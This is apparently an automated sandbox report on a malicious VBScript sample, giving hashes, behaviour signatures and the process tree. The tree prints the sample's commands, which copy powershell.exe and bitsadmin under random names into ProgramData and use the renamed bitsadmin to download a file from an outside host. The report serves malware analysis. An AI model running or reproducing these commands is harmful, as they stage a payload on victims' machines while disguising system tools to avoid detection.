Analysis
-
max time kernel
95s -
max time network
104s -
platform
windows10-2004_x64 -
resource
win10v2004-20240704-en -
resource tags
arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system -
submitted
07-07-2024 10:35
Static task
static1
Behavioral task
behavioral1
Sample
29ec374f3e6c877fb8d178d54bdc86d6_JaffaCakes118.vbs
Resource
win7-20240221-en
General
-
Target
29ec374f3e6c877fb8d178d54bdc86d6_JaffaCakes118.vbs
-
Size
9KB
-
MD5
29ec374f3e6c877fb8d178d54bdc86d6
-
SHA1
dc798767bb280847a81f6fce72c2100c190a8135
-
SHA256
109ce2c2ec110de51db1113ad11bcbb30c4c3ef02f2dda5a97a138f885f50f49
-
SHA512
6d62ff0e4f6f329e9a6d45fd41703512fee0db53a9ca7b9fa9b7827337b026d06eba4ae12d08f5f7654d6b218670b779928071fa28c18aba812cd50b4421dc17
-
SSDEEP
192:GFPF/TusFUnu/nXWB+N7Z+ssQBq4MZEgo8xNQCBDG+Z0JK7WOG/bbfghfyFIFQF6:CTusFUnu/nXWm7Z+s5HMZEgo8xNQCBqg
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2494989678-839960665-2515455429-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 1 IoCs
Processes:
rZbagMHin.exepid process 1528 rZbagMHin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
WScript.execmd.exedescription pid process target process PID 1228 wrote to memory of 2932 1228 WScript.exe cmd.exe PID 1228 wrote to memory of 2932 1228 WScript.exe cmd.exe PID 2932 wrote to memory of 4924 2932 cmd.exe cmd.exe PID 2932 wrote to memory of 4924 2932 cmd.exe cmd.exe PID 2932 wrote to memory of 4600 2932 cmd.exe cmd.exe PID 2932 wrote to memory of 4600 2932 cmd.exe cmd.exe PID 1228 wrote to memory of 1528 1228 WScript.exe rZbagMHin.exe PID 1228 wrote to memory of 1528 1228 WScript.exe rZbagMHin.exe PID 1228 wrote to memory of 1528 1228 WScript.exe rZbagMHin.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\29ec374f3e6c877fb8d178d54bdc86d6_JaffaCakes118.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1228 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\avwyOLoh.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\rZbagMH*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2932 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\avwyOLoh.exe3⤵PID:4924
-
-
C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\rZbagMH*.exe3⤵PID:4600
-
-
-
C:\ProgramData\rZbagMHin.exe"C:\ProgramData\rZbagMHin.exe" /wrap /transfer XMsrTAoB https://marthayfabrizio.com/fibra/09069420967/doc.doc C:\ProgramData\doc.doc2⤵
- Executes dropped EXE
PID:1528
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
182KB
MD5f57a03fa0e654b393bb078d1c60695f3
SHA11ced6636bd2462c0f1b64775e1981d22ae57af0b
SHA256c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
SHA5127e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a